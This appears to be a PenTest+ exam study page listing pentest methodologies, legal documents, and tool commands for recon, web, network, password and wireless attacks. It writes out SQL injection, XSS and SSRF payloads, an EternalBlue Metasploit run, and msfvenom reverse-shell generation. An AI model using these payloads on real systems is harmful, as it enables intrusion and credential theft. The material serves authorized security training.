← Back to Shield House
CompTIA PenTest+ PT0-002

Penetration Testing Toolkit

Comprehensive reference for penetration testing methodologies, reconnaissance, exploitation, and reporting. Covers all 5 exam domains with hands-on tool commands.

Authorization Required

All penetration testing activities require explicit written authorization. Unauthorized testing is illegal and unethical. Always obtain proper scope documentation, rules of engagement, and legal contracts before conducting any assessment.

Planning & Scoping(14%)
Recon & Scanning(22%)
Attacks & Exploits(30%)
Reporting(18%)
Tools & Code(16%)
Knowledge Check
Pentest Methodologies & Standards
Framework Full Name Focus
PTES Penetration Testing Execution Standard 7-phase pentest methodology
OWASP Open Web Application Security Project Web application testing guide
OSSTMM Open Source Security Testing Methodology Manual Comprehensive security testing
ISSAF Information System Security Assessment Framework Assessment framework
NIST SP 800-115 Technical Guide to Information Security Testing Government testing standards
MITRE ATT&CK Adversarial Tactics, Techniques & Common Knowledge Threat emulation framework
Engagement Types
⚫ Black Box Testing
No prior knowledge of target systems
  • Simulates external attacker perspective
  • Tester has zero insider information
  • Most realistic but time-consuming
  • May miss internal vulnerabilities
  • Higher cost due to discovery phase
⚪ White Box Testing
Full knowledge of target environment
  • Access to source code, diagrams, credentials
  • Most thorough testing approach
  • Faster and more efficient
  • Can find deep architectural flaws
  • Also called "Crystal Box" testing
🔶 Gray Box Testing
Partial knowledge of target
  • Limited credentials or network diagrams
  • Balances realism and efficiency
  • Simulates insider threat or compromised user
  • Most common enterprise approach
  • Can test privilege escalation paths
Legal & Compliance Documents
Rules of Engagement (ROE)
Defines what testers can and cannot do
  • Testing timeframes and windows
  • Allowed attack techniques
  • Excluded systems and networks
  • Social engineering permissions
  • Physical access boundaries
  • Emergency contact procedures
Statement of Work (SOW)
Contractual scope and deliverables
  • Project timeline and milestones
  • Specific systems in scope
  • Expected deliverables
  • Payment terms
  • Resource requirements
NDA & MSA
Confidentiality and master agreements
  • NDA: Non-Disclosure Agreement
  • MSA: Master Service Agreement
  • Protects client confidential data
  • Liability limitations
  • Data handling requirements
Written Authorization
"Get out of jail free" card
  • Signed permission to test
  • Must be from authorized party
  • Specifies exact scope
  • Critical legal protection
  • Required before ANY testing
Passive Reconnaissance Tools
WHOIS DNS
Domain registration and ownership lookup for target information gathering.
whois example.com whois 192.168.1.1
Passive OSINT
theHarvester OSINT
Gather emails, subdomains, hosts, and employee names from public sources.
theHarvester -d example.com -b google theHarvester -d example.com -b all theHarvester -d example.com -b linkedin
Email Subdomains Python
Shodan IoT/Network
Search engine for Internet-connected devices, services, and vulnerabilities.
shodan search "apache" country:"US" shodan host 192.168.1.1 port:22 country:US
IoT Banners API
📑 Recon-ng Framework
Modular reconnaissance framework with numerous data-gathering modules.
recon-ng marketplace search modules load recon/domains-hosts/hackertarget run
Modular Database API Keys
Active Scanning Tools
📡 Nmap Port Scanner
The industry-standard network scanner for host discovery and service enumeration.
nmap -sS -sV -O 192.168.1.0/24 nmap -sU -p 53,161 target nmap -sC -sV -p- target nmap --script vuln target nmap -Pn -T4 -A target
-sS Stealth -sV Version NSE Scripts
Nessus Vuln Scanner
Enterprise vulnerability scanner with extensive plugin database.
Credentialed vs Non-credentialed scans Policy templates for compliance Scheduled recurring scans
Commercial CVE Compliance
🕷 Nikto Web Scanner
Web server scanner for dangerous files, outdated versions, and misconfigurations.
nikto -h http://target.com nikto -h target -ssl nikto -h target -Tuning 9
Open Source CGI Perl
Gobuster/Dirb Directory
Brute-force directory and file discovery on web servers.
gobuster dir -u http://target -w wordlist.txt gobuster dns -d target.com -w subdomains.txt dirb http://target /usr/share/dirb/wordlists/common.txt
Wordlist Fast Go
DNS Enumeration
dig DNS
DNS lookup utility for querying records and zone information.
dig example.com ANY dig @8.8.8.8 example.com MX dig example.com AXFR dig +short example.com NS
Zone Transfer MX NS
DNSrecon Enumeration
Comprehensive DNS enumeration with multiple record types.
dnsrecon -d example.com dnsrecon -d example.com -t axfr dnsrecon -d example.com -t brt -D wordlist.txt
Python Brute Force
Cyber Kill Chain
Recon
→
Weaponize
→
Deliver
→
💣
Exploit
→
Install
→
📡
C2
→
Actions
Web Application Attacks
🗣 SQL Injection Injection
Exploit database queries to extract data or bypass authentication.
' OR '1'='1' -- ' UNION SELECT username,password FROM users-- sqlmap -u "http://target?id=1" --dbs sqlmap -u "url" --tables -D database
OWASP A3 SQLMap Error-based
XSS (Cross-Site Scripting) Client-Side
Inject malicious scripts into web pages viewed by other users.
<script>alert('XSS')</script> <img src=x onerror="alert('XSS')"> <svg onload=alert('XSS')>
Reflected Stored DOM
Burp Suite Proxy
Web application security testing platform with intercepting proxy.
Proxy: Intercept requests/responses Repeater: Modify and resend requests Intruder: Automated fuzzing/brute force Scanner: Automated vulnerability detection
Industry Standard Extensions
SSRF Server-Side
Server-Side Request Forgery to access internal resources.
http://internal-server/admin http://169.254.169.254/metadata file:///etc/passwd gopher://localhost:6379/_
OWASP A10 Cloud Metadata
Network Attacks
ARP Poisoning MitM
Intercept network traffic by poisoning ARP caches.
arpspoof -i eth0 -t victim gateway ettercap -T -M arp:remote /target1// /target2// bettercap -iface eth0
Layer 2 LAN Sniffing
Password Attacks Credentials
Crack or brute-force authentication credentials.
hydra -l admin -P wordlist.txt ssh://target john --wordlist=rockyou.txt hashes.txt hashcat -m 0 hash.txt wordlist.txt crackmapexec smb target -u user -p pass
Brute Force Dictionary Hash Cracking
Metasploit Framework
The most popular exploitation framework for penetration testing.
msfconsole search type:exploit platform:windows use exploit/windows/smb/ms17_010_eternalblue set RHOSTS target && exploit
Exploits Payloads Meterpreter
Wireless Attacks WiFi
Capture and crack wireless network credentials.
airmon-ng start wlan0 airodump-ng wlan0mon aireplay-ng -0 5 -a BSSID wlan0mon aircrack-ng -w wordlist capture.cap
WPA2 Deauth Handshake
Privilege Escalation
🏳 Windows PrivEsc
Techniques to escalate privileges on Windows
  • Unquoted Service Paths
  • DLL Hijacking
  • Unattended Install Files (unattend.xml)
  • AlwaysInstallElevated registry keys
  • Scheduled Tasks with weak permissions
  • Kernel exploits (e.g., MS16-032)
  • PowerUp.ps1 - Invoke-AllChecks
Linux PrivEsc
Techniques to escalate privileges on Linux
  • SUID/GUID binaries abuse
  • sudo misconfigurations
  • Writable /etc/passwd
  • Cron job exploitation
  • Kernel exploits (e.g., DirtyCow)
  • PATH environment manipulation
  • LinPEAS.sh enumeration
OWASP Top 10 (2021)
Rank Vulnerability Description
A01Broken Access ControlRestrictions not properly enforced
A02Cryptographic FailuresSensitive data exposure, weak crypto
A03InjectionSQL, NoSQL, OS, LDAP injection
A04Insecure DesignMissing security controls in design
A05Security MisconfigurationDefault configs, unnecessary features
A06Vulnerable ComponentsOutdated libraries and frameworks
A07Auth FailuresBroken authentication mechanisms
A08Software Integrity FailuresCI/CD, deserialization issues
A09Logging FailuresInsufficient logging and monitoring
A10SSRFServer-Side Request Forgery
Report Components
Executive Summary
High-level overview for leadership
  • Overall risk rating
  • Key findings summary
  • Business impact assessment
  • Prioritized recommendations
  • No technical jargon
Technical Details
Detailed findings for security teams
  • Vulnerability descriptions
  • Proof of concept (PoC)
  • Steps to reproduce
  • Screenshots and evidence
  • Attack vectors used
Remediation
Recommendations to fix vulnerabilities
  • Short-term mitigations
  • Long-term fixes
  • Prioritized by risk
  • Reference materials
  • Compensating controls
Metrics & Scoring
Quantified risk assessment
  • CVSS scoring
  • Risk ratings (Critical/High/Med/Low)
  • Finding counts by severity
  • Trend comparison (if recurring)
  • Coverage metrics
Communication During Engagement
Critical Finding Alert Immediate
Immediate notification for severe vulnerabilities discovered during testing.
Notify within 24 hours Use secure communication channel Document time of discovery
P0 Urgent
Status Updates Periodic
Regular progress updates to stakeholders during the engagement.
Daily/weekly status reports Scope changes documentation Blocker escalation
Email Meetings
Post-Engagement Activities
🗑 Data Destruction
Secure cleanup of testing artifacts
  • Remove all tools from target systems
  • Delete any created accounts
  • Securely wipe local test data
  • Document destruction process
  • Follow data retention policy
Debrief Meeting
Present findings to stakeholders
  • Walk through key findings
  • Answer technical questions
  • Discuss remediation priorities
  • Schedule retest if needed
  • Gather feedback on engagement
Exploit Resources
💣 Exploit-DB Database
Archive of public exploits and vulnerable software.
searchsploit apache 2.4 searchsploit -m 12345 https://www.exploit-db.com/
Offensive Security CVE
Payload Generation Malware
Create custom payloads for exploitation.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=4444 -f exe > shell.exe msfvenom -p linux/x86/shell_reverse_tcp -f elf > shell.elf msfvenom --list payloads
Msfvenom Reverse Shell
Scripting & Automation
Python for Pentest
Common Python libraries for security
  • requests - HTTP interactions
  • scapy - Packet manipulation
  • pwntools - Exploit development
  • impacket - Network protocols
  • paramiko - SSH automation
  • beautifulsoup - Web scraping
Bash for Pentest
Shell scripting for automation
  • Port scanning with /dev/tcp
  • Log parsing with grep/awk
  • Wordlist generation
  • Network enumeration loops
  • Reverse shell one-liners
PowerShell for Pentest
Windows post-exploitation and automation
  • PowerUp.ps1 - Priv Esc checks
  • PowerView.ps1 - AD enumeration
  • Invoke-Mimikatz - Credential extraction
  • Empire/Covenant C2 frameworks
  • AMSI bypass techniques
  • -exec bypass execution policy
Code Analysis Concepts
Static Analysis
Analyze code without execution
  • Review source code for vulnerabilities
  • Identify dangerous functions
  • Check for hardcoded credentials
  • Tools: Semgrep, SonarQube, Bandit
  • Faster but may have false positives
Dynamic Analysis
Analyze code during execution
  • Runtime behavior analysis
  • Fuzzing inputs
  • Memory analysis
  • Tools: OWASP ZAP, Burp Suite
  • Catches real vulnerabilities

PenTest+ Knowledge Check

Score: 0/6